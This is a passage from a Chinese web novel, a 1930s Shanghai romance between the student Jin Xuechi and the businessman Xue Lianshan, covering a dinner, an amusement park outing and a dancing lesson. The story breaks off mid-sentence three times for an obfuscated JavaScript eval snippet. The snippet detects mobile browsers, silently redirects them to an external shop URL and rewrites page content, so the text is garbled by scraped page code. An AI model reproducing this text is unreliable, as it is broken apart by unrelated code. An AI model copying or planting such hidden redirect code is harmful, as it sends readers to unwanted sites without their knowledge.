她的情绪从来是沉滞的,没有爆发点,她没法大声哭泣、跺脚、砸东西,只是面无表情地该干嘛干嘛。金文彬的死沉沉压在心头,把她一颗轻盈柔软的心压瘪,变得没有弹性;薛莲山游戏似的态度是旷日持久的一场霪雨,绵绵下着,不打雷不闪电。 现在声名扫地,她也只是悄悄地崩溃掉了,具体表现为本就不高的行动力变得更低,躺在床上不想动,不想吃饭、不想学习。在孙婕霓看来,她简直跟没事人一样,睡眠质量还有提高呢。倘若心里在意,能睡得着吗? 王院长在走廊里碰到埋头一个劲儿走路的她,主动打了个招呼。她连忙抱着书鞠了一躬,“院长好。” 王院长直截了当道,“最近的流言蜚语我听到了,我教书多年,想告诉你的就是:物质上的小恩小惠兴许不算什么,但如果有人想资助你完成学业,这是大恩大德。薛先生很关心你。希望你用功读书,不要受影响。” “谢谢、谢谢,我没有受影响。” “嗯。”王院长露出一丝微笑,“我想也是。” 金雪池当真一点都不怪薛莲山,又不是他把她绑到家去的,是她自己答应的。对于两人之间的关系,她抱着一种破罐子破摔的心理,都挨了这么多骂了,还回避什么? 第一个月过去,薛莲山没有主动来找她,她就跑到公用电话亭给他打电话。电话接通,龚小姐让她稍等,董事长在会客厅见律师,她这就去叫他。 金雪池猜是和铃木社长在打官司,已经后悔来打扰他了。然而龚小姐已经走开,现在挂电话也不礼貌,只好硬着头皮等。五分钟后,薛莲山的声音在那头响起,“妹妹?” “我不知道你在见客人,你去吧,我挂了。” “不必。律师是按小时收咨询费的,让他等一等,不过是几个钱的问题。你却是第一次主动给我打电话。”他在那头语气轻快地说,“怎么了,遇到麻烦了?” 金雪池感到更难为情了,他默认她是遇到了麻烦才来找他,但她并没有具体的麻烦,就是想打个电话。“小事情,你还是先去忙吧。” “你的事从不是小事。” 金雪池没想好怎么编出个小麻烦来麻烦他,握着听筒足足沉默了十秒钟。那边就轻轻地说:“心情不好吗?” 她长长吁出一口气,抬眼望天,湛湛苍天一碧无痕。道旁的草木在微风中摇晃,泥土的气息苦涩,行人三三两两说着话,由这一切细微之物构成的人世漂浮在她身周;而更高而远的地方,天空无声无息,澄如明镜,照着她,映着他。 这才叫——知我者,谓我心忧。 “不知道。”她想了想,又有点诉苦似地说,“就是觉得胸前很闷,饿了也不想吃东西。” 那边长长地“噢”了一声,“我明白了。但是我最近实在抽不开身,没法来找你——” 金雪池怕他到学校里来,赶忙道:“不,不用。” “那么,根据我的经验,吃好吃的对你会有帮助。我想想......啊,南京东路上有家麦瑞饭店,你知道怎么坐车去吗?我待会儿打电话去订一桌,外后天晚上六点你直接去就行,报你自己的名字。可以把你的朋友一起带过去。”薛莲山说,“我有时候也这样,吃吃喝喝就会好的。” “你有时候?” “我也是个人嘛。” “譬如现在?” “现在倒还好。” 金雪池攥着听筒,神魂颠倒:有人要刺杀他,他手上又沾了几条外国人昂贵的命,这么大的事情,对他来说都还好!自己那点委屈对比起来简直不算什么。她真想成为他那样的人。 “那......谢谢你。你快去吧。” “好,欢迎你随时给我打电话。” 挂上电话,金雪池一路往回走,感觉心境就在这几分钟的交流后不一样了。那么多对她指指点点的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100223|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只会传别人的八卦,只会欺负女生,这会儿她不理睬他们,过去也没兴趣跟他们说话。只有薛莲山,他说的话她才在乎。他随便一句花言巧语,分量重过悠悠众口。 倘若他是个传统意义上的好男人,她甚至愿意公然搬到他家里去。但他若是个好男人,大概就不会这么了解女人、这么擅长取悦女人了,金雪池不会爱上他。 唉,她怅然地想,我也是贱,就吃这一套。 鉴于她并没有什么好朋友,又预感到薛莲山订的一桌肯定是分量超大的一桌,就邀请孙婕霓一起去。孙婕霓那天本来要跟朋友一起出去玩,很不耐烦地准备打断她,听说是“麦瑞饭店”,态度陡然一转,“Wait,南京东路那一家?” “是的。” “啊呀,那里吃饭超级贵,而且普通人很难订到位置,问就是满了。”孙婕霓啧啧道,“他对你怪好的。” 麦瑞总店是一栋三层欧式楼房,底层为玻璃橱窗,悬挂“Marcel”铜牌标识;入口处设有旋转木门,门楣上饰有铜制葡萄藤浮雕。一楼是西餐厅与西点展示柜,三层是厨房与员工宿舍,二楼是私人包间,穿燕尾服的侍者就把她们引导了其中的一间包厢里。 包厢的光线暗而柔和,像一首流淌的夜曲。头顶一盏小巧的水晶吊灯,壁上有一副印象派画作复制品,营造出一块私密的、典雅的法国。因为早就订好了菜,侍者并没有拿菜牌子来,只摆上餐具,朝她们一鞠躬,用法语说了句“用餐愉快”。 金雪池稍微有点窘,觉得自己不过是个女学生,有点被太庄重地对待了。倘若薛莲山在这里,那么她是心安理得的;现在他不在,她颇有狐假虎威之愧。孙婕霓倒是很兴奋,叽里咕噜地回了那侍者一句。 待人走了,金雪池问:“你说什么来的?” “我说感谢他。” “你还会说法语啊。” “废话,我爸爸是外交官,我会五国语言。谁像你,讲国语都有口音。” 金雪池震撼了,“我有口音?我以为我说的很标准。” 孙婕霓翻了个白眼,模仿她道:“你说什么来的?” 金雪池没听出任何问题,心里很奇怪。她没意识到广东人的口癖就是“来的”“来的”。 这一顿法餐非常符合她的胃口。马赛鱼汤配烤蒜香面包,鲜香浓郁,红酒炖牛肉酥烂入味,普罗旺斯炖菜淋了橄榄油,是地中海风味。兴许是过去一直吃潮汕菜吃得腻了,来到上海后尝了西餐,就不太理解那些褒中餐贬西餐的评论家。她是千真万确的有个外国胃。 不像薛莲山,尽管生活中处处追求西化,在口味这方面她觉得他还是挺传统。 来时坐的洋车,孙婕霓提议坐公共汽车回去,慢悠悠的吹吹风。正是凉爽的好时节,晚高峰过了,车上也没什么人。她们因为吃得饱,都不爱坐,只是拉着吊环站着,孙婕霓摇头晃脑地唱起了一部歌舞片的插曲《The Way You Look Tonight》:“Lovely Never ever change/Keep that breathless charm/Won’t you please arrange it/''Cause I love you/Just the way you look tonight......” 30.双双 几日后复活节,圣约翰放了三天假,举行了很多活动。金雪池一概不参加,但被孙婕霓拖着和她的朋友们一起去活动室打桥牌,打了四个小时,直到所有人都不想跟她玩。 揣着一百多块走出活动室,金雪池想一直都是薛莲山单方面的请客送礼,自己是不是该送他一件礼物?可惜不知道他的生日,最近也没什么值得庆祝的节日......无所谓了,这样显得漫不经心,最好。到时候就说,“逛街的时候看到这个,随手就买了下来”,郑重其事地送反而尴尬。 送完了,还可以继续漫不经心地问一问生日。 金雪池兴奋得皮肤都刺痛起来,抛下才写了一半的作业,立刻出门去了。 过去她给金文彬送礼物很偷懒,因为懒得挑衣物、玩意儿的样式,送吃的最省事;糕点的口味也懒得挑,有个像模像样的礼盒就行。反正金文彬会赞不绝口。给姨妈和弟弟妹妹送礼就更偷懒了,家里人多,她老忘,都是金文彬买两份礼物,私下里给她一份,让她说是自己买的。 再不会有这么好的事了。她要得到别人的喜欢,必须付出精力。 金雪池挑了一下午,由于觉得“都可以”,简直心力交瘁。晚上随便找了家小馆子吃饭,正低头吃着,头顶忽然有个声音颤颤地说:“请问我可以坐这里吗?” 抬头一看,是李伯惠。今天是周末,他也出门买东西,腕子上挂着一袋梨膏糖,大概是给弟弟的。 “可以。” 他端着木托盘坐下了,把椅子往前拖了拖,胳膊无意间在托盘上一撞,筷子就滚到了地上。他立刻道了一声“抱歉”,也不知道在对谁抱歉,又去重新拿了一双筷子。两人沉默地对坐吃饭,他好几次欲言又止。 金雪池没打算跟他说话,她还在脑子里货比刚才看过的三家。李伯惠突然开口说:“我听到一些谣言,但是我相信你。” 羞惭的热毒一下子被重新激发,闹得她没了胃口。本来都调理好了,他这么一提,金雪池不免要痛苦好一阵,心里便有点烦躁,“你们学校也说?许邦尧说的?” “什么?许同学......不是,他没说什么。”李伯惠又拖了一下凳子,“我帮你解释过。” 金雪池慢吞吞道:“李同学,你的好意我心领了,但是你总为我说话,人家可能连你一起笑。” 他这回接话很快,“我不在乎。” “呃,但是我确实是在薛先生家过年的。” 李伯惠沉默下来,慢吞吞地扒了两口饭,似乎嗓子眼很窄,半天都没吞下去。一分钟后,他艰难地说:“为什么?你有什么难处吗?薛先生人很好,但这毕竟……不成体统……” “其实我没有难处。” “那么……”他完全糊涂了,“我不明白,金同学,你……你不是那样的人。” 金雪池只是摇了摇头,他们才见过几面,李伯惠就能定论她是哪样的人了?你也懂得我? 李伯惠一直在等她的回复,意识到她打定主意不理自己后,忽然端起餐盘,蹭地一下站起来,“金同学,你是有大好前途的!你要是自甘堕落,我也没什么可说,珍重吧!”言罢换到饭店的角落去了。 唉,莫名其妙又挨一顿骂。金雪池饭也不想吃了,结了账,继续逛商店。 本来她看中一对袖扣,但薛莲山自己的袖扣肯定贵得多,她送的就会搁在屉子里积灰。她还是希望自己的礼物能长伴他身边。那么,这个礼物必须平价,对于高收入群体不会溢价,因为质量到顶了也就那么贵。 她最终挑了一张唱片,拖着步子回到宿舍时,感慨道:累死我了,我真是好用心啊! 期中考她考得不很好,长年垄断的霸权地位被班上一同学反超了。金雪池立刻就不好意思去找薛莲山了,她还是学生思维重,一旦成绩不如意,就像犯了错误。 殊不知薛莲山并不真正关心她的成绩如何,如果好,他会在王院长那里更有面子;如果不好,也无所谓。反正金雪池的未来也不与他相干,他不过是要在当下做出关心的样子。不像金雪池时时都想着他,他一忙起来,基本不会想到金雪池。待这场长达三个月的官司告一段落,才有时间和亲友联络。 朋友们听说他跟铃木打了个平手,以庆功的名义,都要他请吃饭。席间,付宗方提出要把他这案子写成新闻稿——他的那家报社是有鲜明的反日立场的,不知道被日方施压了多少次,文人也没什么反抗的武器,全靠一根脊骨、一根笔杆顶着。只有薛莲山这样有头脸的人,说打官司就打官司,还硬要对方赔钱。虽说是在争取自己的权益,实则鼓舞了所有人。 薛莲山拈着一根雪茄,无可无不可地点了点头。他的初衷是让铃木吃个苦头,警告对方少惹自己,并非有什么立场。现在双方暂时达成一致,还写一篇新闻稿,有蹬鼻子上脸之嫌。但付宗方话都说到这里了,他也不好拒绝,只是心里不情愿。 显然,付宗方不太能领会到这层不情愿。 他喜欢和朋友聚会,人越多越好。然而人一多,语义就在人群中变得不明确。他不是对某一个人说话,而是对一群人说话,有偏差很正常,嘈嘈切切错杂弹是合奏的必然后果。 况且他也无意和人交流,有什么可说的?说了有什么用?痛苦是他一个人的,跋涉也是他一个人的,此中滋味,不足与旁人道矣。薛莲山只需要朋友们热热闹闹地围过来,锦上添几朵花,用数量上的优势来掩盖质量上的匮乏。反正什么样的人他都会应付,多么大的场面他都能掌控。 可是此时此刻......他回忆起了金雪池的那一通电话。当时他听出她有苦难言了,然而事务缠身,怕她说个没完,草草敷衍了过去。 不知她现在怎么样呢? 一想起她,念头就一发而不可收拾了。他借口说去上厕所,跑到饭店一楼往家里打电话,让定青接。定青接起来,问:“薛先生?我现在就来接你?” “不,你去学校给金小姐传个口信,问她什么时候有时间出来。” “现在......现在九点了。” “没关系,你到她宿舍楼下,让女校工帮忙传个信就好。” “薛先生,你好像有点喝醉了。” “没醉,没醉,你快去问。” 定青没说什么,挂了电话。十一点酒席散了,车已经在饭店门口等他了。薛莲山一上去便问:“你去了吗?” “去了。” 他“嗯”一声,阖上了眼。其实他的酒量很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108466|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,架不住一人敬他一杯,喝得太多。定青把他扶到房间,帮他脱了外套和鞋子,他就没意识了。 第二早头痛欲裂地醒来,薛莲山回忆了半晌,忽然如临大敌,匆匆套了个睡裤跑到栏杆边上喊:“定青!” 定青立刻从自己房里跑出来,以征询的眼神望着他。 “你昨晚真去了?” “没有。” 薛莲山盯着他,他又解释说:“我觉得大晚上去不太合适,而且约金小姐出门不是什么重要的事,就自作主张,没有去。” 不是不太合适,是太不合适了,哪有人大晚上找女学生约时间的?何况她的舍友可能也在,误会更要深了。薛莲山撑在栏杆边上,笑眯眯道:“谢谢你,做得很好,我确实是醉了。这事你不用管,等到周末,我再亲自去。” 周六早上,他照例等在了后门口,让校工传话进去。很快,金雪池就一溜小跑地过来了。她今天穿一条烟蓝色的旗袍,高领拘着细而长的脖子,像细瓶里伸出的花枝。 路边站着好几个等洋车的同学,金雪池不在乎了。她许久不见薛莲山,遥遥一望,还没看清面目,郎朗天光和空气中凉爽、湿润的气息就澎湃而来,是“金风玉露一相逢”。 耳下已经发热了,她故作镇定,不紧不慢地走过去,“薛先生。” 薛莲山很自然地伸手拨了拨她的刘海,笑道:“想我吗?” 路边的两个男同学往这边探头探脑,显然是听见了,但因为亲眼看到了薛莲山的面貌气度,并不交头接耳,也不哧哧地笑,只是看着。金雪池没料到他直接这么问,先不回答,只是自顾自地往前走。 他插兜跟着她,也不急于说话。走出一段路后,金雪池忽然一回头,“案子怎么样了?” “我赔医药费,他赔修理费。” “我猜,他给得更多。” “是啊,把那四个浪人卖了都抵不上布加迪的零件贵。”他幽幽叹了口气,“鉴于运到欧洲修还要付一大笔费用,我只能就在内地修,也不知道能修成什么样。” “我的建议是不要修。”金雪池道,“很长一段时间你都不会离开主城区,跑车也无用武之地。况且车这种东西最精细,一但技术不到位,会很危险,我不觉得上海的修车厂能修好布加迪。这一笔钱不如另做他用。” 薛莲山皱眉道:“我是真的挺喜欢......哎,说起来就烦。” 她一本正经地安慰人:“别烦。” “我要报复铃木。” “别报复。” 他被逗得哈哈大笑起来。金雪池不知道有什么好笑,可能自己的建议在他那里压根儿没分量吧?他是权威,她是个学生。不过经她观察,他远不如表现出的那么沉稳,实则行事激进、短视——他不是不知道长视的好处,他就是爱玩极限。 反正建议也建议过了,爱听不听吧。她变戏法般地掏出那张用牛皮纸包着的唱片,“送给你。” 薛莲山又觉得好玩,这种东西应该在去他家的时候给,或者晚上出门时给,他们还有一整天呢,他就得抱着这个大圆盘在街上走。“是什么歌?” “不知道。”金雪池的眼神虚虚飘走,“商家说促销,我和我舍友合买了一沓。” 31.大世界 当天他们去了大世界,门口的电车挤满人,洋车、三轮车排成长龙。许多外地人坐火车来上海就是为了看一眼大世界,这座“远东第一游乐场”。 薛莲山甚至有种感觉,倘若日后要打仗,敌人要袭击上海市民,首当其冲就会炸大世界。 他初来上海的时候,很为之眼花缭乱了一段时间,这几年倒不常来了。不过前几日付宗方送了他两张戏票作为感谢,说是有一个有名气越剧班子要来,凭票可以坐贵宾厢。 金雪池听他说“粤剧”,满心欢喜地答应去看,结果戏一开场就傻了,此“越剧”非彼“粤剧”,从头到尾一个字都没听明白。 出场后,薛莲山问她:“如何?” 她很诚实地说:“听不懂。” 他笑眯眯道:“我也听不懂。” “咦,你听不懂吴语吗?” “说的什么倒能听懂,但戏剧的形式是不懂的。比起这个,我更喜欢看电影。” 金雪池个人很爱听戏,不过他不欣赏就不欣赏,遂问:“好,我猜猜你喜欢哪个明星……不会是胡蝶,也不是顾兰君……徐来?” 她并不是猜完就不管了,猜完了,还要根据对方的反馈来整理案例、纠正偏差,以便下次更好地当侦探。这会儿观察薛莲山,她就看到他眼睛微微讶异睁开了一点——他的表情幅度总不大,有种贵族式的、运筹帷幄的优雅。像舶来电影里演的:爵爷在后花园散步,看到一只蝴蝶停在手杖上。 薛莲山确实是惊讶,他不知道她是怎么猜出来的,毕竟徐来和她可是两种风格。“那么你再猜猜,我还喜欢谁?” “阮玲玉?” 他刚想接“我可没说是电影明星呀”,借此引出“我还喜欢你”“你比她们还好看”等等言论,不过既然她提起阮玲玉了,他便评论说:“真可惜。” 这位电影巨星是去年吞药自杀的,年仅二十五岁,死于第一任丈夫的无赖、第二任男友的不忠和流言蜚语。金雪池完全知道薛莲山对此持什么态度:都是婚姻的错。倘若没这回事,在对前夫的爱消耗殆尽后,她就可以及时走开;跟男友同居时,也不必受“对方有家室”这样的心理煎熬之苦,被千夫所指为通奸。 感情本来就是流动的,爱时则聚,不爱了就散,干嘛要把一辈子都绑住? 她不想跟薛莲山讨论这个问题,只道:“你喜欢她的哪一部,《神女》?” “这回你没猜对,她的演绎很好,可是这部剧的剧本我不喜欢。” “哎?”金雪池一听自己没猜对,精神振奋了,“为什么?” “因为脸谱化、典型,和戏曲都没什么区别了,甚至可以给这个涂白脸、给那个涂红脸。以及,”他漫不经心道,“我不喜欢看人哭惨。我现在就能写一个《神男》,一个男孩,幼失恃怙,很小就出去给皮匠当学徒,又没饭吃又挨打,好在皮匠的女儿喜欢他,是他唯一的慰藉。某天做工时不慎受伤,落下残疾,工作也丢了,皮匠的女儿也不喜欢他了。他心灰意冷,在村庄外讨饭的时候,被狼咬死了。惨不惨?” 金雪池听他这么刻薄,觉得很有意思,“只有一点不好,《神女》的主角是个妓女,所以起这个名字,有种外娼而内圣的讽刺感。你这不能叫《神男》。” “好,那他在村子外一边讨饭、一边卖。” 两人都不禁大笑起来,金雪池直搡他:“神女好歹是个体面的美人,你这主角又残疾又讨饭,还是男的,卖也卖不出去。我给你提个建议,不必外娼,直接内圣。最后狼来的时候,他也瘦,狼也瘦,这是个饥荒之年。他笑起来,张开双臂,对狼说‘取我之肉’。” “哎!”薛莲山也反过来搡她,“妹妹,你真是——有灵性。我宣布《神男》赢过《神女》了。你知不知道我们这些当煤老板的经常给电影投资?等我有空,我就让人拍《神男》。” “你......哈哈哈,也没有剧本,你亲自写?” “我亲自写呀!而且我比编剧还有生活经验,我写的话,就写——桌上摆的都是要修的皮带,他一条条抓起来,在外面套几圈新皮,然后用钉子钉死。这个过程里,他摸着摸着,手就脏了。我们以前有一种挂在皮带上的小矿灯,拽着拽着皮带就会垮。因为整个村的男人都是矿工,所以村子里的皮匠最会修皮带。有现实主义光辉吧?可以揭露社会现状吧?” 他表达观点时,语气又轻又快,并不愤世嫉俗,却显出觉得很好笑的样子,“哭、骂都是弱者的本能,哪天能有一个编剧不止是哭,还能探讨如何改善、修正......好了,我言尽于此。总之,阮小姐很漂亮,编剧不如我,看这个不如看外国歌舞片,好歹让人高兴。” 他已经是要结束这个话题的位置,金雪池忽然道:“薛先生,有个问题不知道冒犯不冒犯。” “请问。” “你有在其位、谋其职吗?” 这句话问得抽象,但薛莲山听明白了,毫不犹豫道:“有。我不给丑人的电影投资,只给美人的电影投资,造福了大家的眼睛。” “啊?” “开玩笑。”他拍了拍她的小刘海,“矿上不招十三岁以下的童工;花大价钱引入光学瓦斯检定器、离心式通风机,对开采效率没什么好处,就是更安全一点;工资按时发,抚恤金绝不赖......算不算?其实都是小事,也应该的,但同行做不到。” “算。”金雪池一本正经地点头,“这就是你的职。” “我为了评选‘民族企业家’。” “好歹不是靠送礼呢。” “其实......” “也送了?” 两人对视一眼,又大笑起来。大半天就在大世界里磋磨过去了,走走逛逛,看人变戏法、听人说相声,还远远地观望了一下猴子钻火圈——不靠近是因为动物的味道很大。走到大门口,看到一排哈哈镜。人一路走过去,一路就拉长、缩短、膨胀、压窄,一面镜子是一个世界。 薛莲山扭头一直看,其实看的是金雪池,一个个金雪池,或五官挤作一团,或圆如皮球,或上下大而中间小如漏斗......走到天光大亮处,万千怪相如露如电、消散无影,只有他的小美人走过来,仍盯着哈哈镜看,带着一种研究的神态。她今天是美人,不会永远是美人,总要老去。 他等了片刻,意识到她也在看他。 “怎么了?”他笑道,“少见到我这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117897|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丑的时候?” 其实你这样都帅。我爱你。 晚饭回薛公馆吃,宋妈做了一道松江鲈鱼,在他出门时就叮嘱要把金小姐带回来吃饭。饭后,他抬下书房五斗柜上的留声机,先用抹布擦净积灰,再掀开盒盖,换新的钢制唱针上去。现在的留声机都用钻针了,只有老留声机这么繁琐,每回放唱片都要换一根新针,一首歌是一首歌的珍重。 金雪池在背后左手抓着右手,心里忐忑,没料到他会当她的面拆礼物,有种送出一个红包后被人当场检查数目的羞耻感。 于此同时,薛莲山试图玩她的游戏:让我来猜猜......不行,猜不出来,她的行为逻辑有点怪。不过她在挑礼物的时候应该猜过他的喜好,他可以猜猜她猜的他。应该是钢琴曲,过年那几天,他天天用无线电放钢琴曲,因为要营造薛公馆的高雅氛围。 钢针落在唱片上,听了个前奏,他听出是《cheek to cheek》,最近很火的一首爵士乐。 薛莲山在二十出头的时候一度非常喜欢去舞厅,他迷恋百乐门,一个上海的符号:大理石地面光可鉴人,穹顶的水晶灯在薰风中转,映在地上的光斑也跟着动,像粼粼的游鱼。舞台背景是幅巨画,画里的威尼斯运河蓝滟滟的,是天色将晚、华灯初上时分浓酽的蓝,穿燕尾服的乐手在画前的乐队池里奏乐,旋律一出来,运河静静流。 那会儿他的朋友还不够上台面,都是些狐朋狗友,天天往这里跑,玩一整个晚上,太阳出来了才回去。他一开始只坐在沙发上看别人跳,看那些女人,有电烫卷发,穿各色各样金亮亮的旗袍,转圈过去,带起一阵香风。 那时候他多胆怯,因为不会跳舞,也不敢尝试,怕把这些女人的鞋子踩脏了。就这么傻坐了几天,来了一个舞女——叫什么名字?他忘了,只记得头发很浓、很厚,他低头看下去,几乎看不到头皮。 这个舞女比他大几岁,问他:会不会跳舞? 他说:不会。 舞女就一把把他拉起来,笑道:你请我喝酒,我教你跳舞,好不好? 她教了他一个月,他进步很快,渐渐地可以带着她跳了。两人气喘吁吁地退到一边吃点心、喝酒,他闻到女人身上汗蒸出来的香气,一蓬一蓬,顺着风向往他这边扑。舞女说:“真高兴,我是第一个和你跳舞的女人。” 薛莲山笑道:“明明是我的荣幸。” 她摇摇头,盯着他:“以后会有很多很多女人和你跳舞的,你信不信?你这么好看、这么大方,女人断不了的。我没法在时间上陪你很久,只能在时机上抢个先,这样一来,你每次跳舞都会想起我。” “你要走了?” “我妈妈病了,我得回家去。” 薛莲山顿了一顿,手已经往皮夹里伸了。舞女一手按在他手上,“这些日子我拿了你很多钱,不能再要。小郎君,最后请我一杯酒吧。” 唉,这样美丽的因缘际会,一段一段的,像旋律各异的唱段。回忆起时,他不是回忆起某个具体的人,而是一种朦胧、笼统的美好感觉。人与人相遇,不是为了互相束缚,而是为了有这么一瞬间。 现在,他问金雪池:“会不会跳舞?” 32.百乐门 金雪池还没回答,他就抱上来了,一手托着她的手,一手按在她肩胛骨下方。香水味钻进她的鼻腔,简直像给她打了麻醉,金雪池的手脚一下全麻了,只剩脖子能往后缩,“我不会,薛先生,别,我怕踩到你。” “跳着跳着就会了。” 她只好把左手搭在他肩上,他真高,她简直是挂在他身上,一仰头就对上他的微笑:“做得好。我们之间形成了一个稳定的椭圆形架子,是不是?只要架子不散,怎么动都可以。好,现在我们开始走方步——” 他左脚向前一大步,金雪池立刻退了一步,又低头盯着两人的脚看。他向右前,她就向左后;他并脚,她也并脚;他后退,她就前进。几个回合下来,规律很清楚,他的肢体指引也很清晰:一手被他握着,后背被他托着,通过这两点接触,金雪池犹如被他牢牢掌控的木偶,推拉之间,不用思考就能跟着走。 有一句话这么说,“男步是导航,女步是乘客”,金雪池觉得再正确不过,她渐渐地也没有再看脚,只盯着他的肩膀,被他带着走;力气也没怎么使,一直挂在他搭起的“架子”上。这么舒服,让她还有点喜欢跳舞的感觉。 她又知道:换做任意一个男步来,都不会有薛莲山引导得好。 谁也没说话,渐渐地,他开始带着她转。一转起来,脚下的步子就更大了,何况他腿长,她脚下绊来绊去地跟着他跑。薛莲山提醒道:“妹妹,架子!” 她“哦”一声,忙乱地固定住手臂,又梗直脖子,跟他对视上了。 他的眼睛在镜片后弯弯的,“你真美。” 唱片刚好唱到“But it doesn''t thrill me half as much as dancing cheek to cheek”,他就低下头,用面颊贴了贴她的面颊——cheek to cheek。 金雪池脚下方寸大乱,连着踩了他好几脚,差点踩掉他的拖鞋。她在乱七八糟地道歉,薛莲山完全没有听,只是很愉悦地跟着音乐轻轻哼,脚下依旧保持节奏,然后在下一次“cheek to cheek”的时候,又贴了她一下。 当晚被定青送回家的时候,她没有开窗吹风,因为脸上始终残余着他的感觉——皮肤是温热的,金属眼镜腿是冷硬的,一冷一热,几乎让她的心脏抽搐着快乐。临别时,她再三道歉一直踩他,他说她已经是初学者里跳得非常好的了,以及拖鞋一直在碍事,没有人穿拖鞋跳舞。做得真好,真聪明。 她就像个眼巴巴的中学生一样立在门口的地毯上,他说“真聪明”,她就领一次奖。 一周后,金雪池收到了一双意大利品牌Salvatore Ferragamo的小牛皮高跟鞋,鞋面以红色缎面镶嵌珍珠,鞋底有橡胶和皮革的夹层,起到减震的作用。她一打开盒子就预感不好,拿去给孙婕霓看,孙婕霓瞪眼说:“这值两百法币!” 金雪池茫然地在原地搓手,她送他一张几块钱的唱片,他回了两百,这可怎么好? “我也有一双,给你看看。”孙婕霓蹲在床底一顿扒拉,扒出一个硬纸鞋盒,打开给她看,里面装着一双银丝刺绣高跟鞋,鞋面以真丝绡为底,用银线绣了一只孔雀,“苏州绣娘绣的。而且鞋跟包了镀银铜片,跳舞的时候,跟着脚步一起响。” “这是舞鞋呀?” “你那也是舞鞋呀!” 金雪池心里有种说不出的喜悦:他就是这样的人,第一次说她缺什么,第二次就给她直接买过来。孙婕霓原等着她夸自己的舞鞋,想来觉得等也是白等,翻了个白眼,“我这鞋不比你便宜!” “嗯,感觉中式做工很多都比外国名牌还贵。” 孙婕霓高兴了,“你最近在跳舞吗?来,和我练!” 金雪池本来应了下来,两人找到一个空旷的网球场,先是孙婕霓跳男步、她跳女步。然而孙婕霓的支撑感完全不如薛莲山——没得比,三分钟后她就不耐烦地一甩手,“你挂我身上得了!我手不酸吗?” 金雪池“哦”了一声,想着脚下是没区别的,她当男步,一样能练。结果她也手酸,撑一会儿撑不动了,又把孙婕霓踩了几脚,孙婕霓就嘎吱嘎吱嚼着口香糖走了。 然而她的瘾并没有消退,二十年不接触这种东西,现在一接触,便觉得好玩得很。薛莲山那边也是,因为周馥不喜欢跳舞,他和她好的这一年多里从来没跳过舞。金雪池把他的兴趣重新勾起来了,当周的周末,他就约她一起去百乐门玩。 在车上,金雪池咕哝道:“我怎么感觉那个地方不是好地方?” 薛莲山提醒她:“你家是干什么的?” “......那也是。” 可是家里有老豆在,她跟着老豆,跑到地狱去都会觉得安心。现在她跟薛莲山去舞厅也有点惴惴不安,感觉自己背着家长出来,要学坏了。 暮色四合,“百乐门”三个霓虹大字已经亮起来了,光线晕染在镀铜旋转门上,使那本冷冽的材质涣散出迷离的彩光。建筑上方还立着一个高高的灯塔,正亮出一串数字。 “薛先生,这个灯塔是怎么回事?” “你看,我们已经开始堵车了。生意好的时候,汽车有时要从静安寺一直停到胶州路、乃至胶州路后面的常德路上,路程大概有一两公里。客人跳完舞出来,只要告诉服务生车牌号码,服务生便会打电话给管理灯塔的工作人员,通过灯塔把客人的汽车牌号打出来,司机就知道了要把车子开过去。” “喔!”上海人的生活! “我没让定青等过,都是打电话让他来。他要是说路上堵,我就自己坐洋车回去。”薛莲山拍了拍驾驶位上的定青,“待会儿你也直接回家。哎,现在就放我和金小姐下来吧,眼见着开不动了。” 他们下车步行,五月的暖风吹在脸上,有种令人精神松弛的安详感。路人来来往往,街上车水马龙,金雪池不过也是其中的一粒红尘。薛莲山很自然就把她的手搭在了自己的小臂上,她挣都没挣动一下,就像他的女朋友、妻子那般,在公众场合挽着他。 到门口,服务生收了门票钱,引他们上到二楼。薛莲山先找了个卡座坐下,把菜牌子递给她,“来之前吃了东西吗?” “吃了。”金雪池略略一翻,“这么贵?柠檬苏打水要一法币?布丁1.5法币?” “哈哈,这种场所的消费都高。等到圣诞节的时候,这里会供应一种用可食用金箔点缀的冰淇淋,更是贵得离谱。” 她把菜牌子合上,“不点了。” 薛莲山在对面笑着摇了摇头,“坐都坐下了,最低消费十五法币,你要不点,一会儿人家撵我们出去。” 她直觉这里的菜不仅贵、还不好吃,干脆就点了一瓶红酒,一瓶就凑满了十五。服务生帮他们开瓶的时候又要了一法币,金雪池听着都愣了,满脸不可思议地瞪着人家。薛莲山笑着倒了一小杯给她,在桌面上推给她,“你选的酒,尝尝。” “他就撬个瓶盖子——” “没事啦。” 金雪池接过酒喝了一口,没尝出好歹,老豆在家不让她喝酒,此前没怎么尝过。然而实在太贵了,也就一口一口地啜完了一小杯。 “别喝了,你好像不太能喝。”薛莲山瞧着她的脸,“红的好快。” 根本没红,他逗她的。 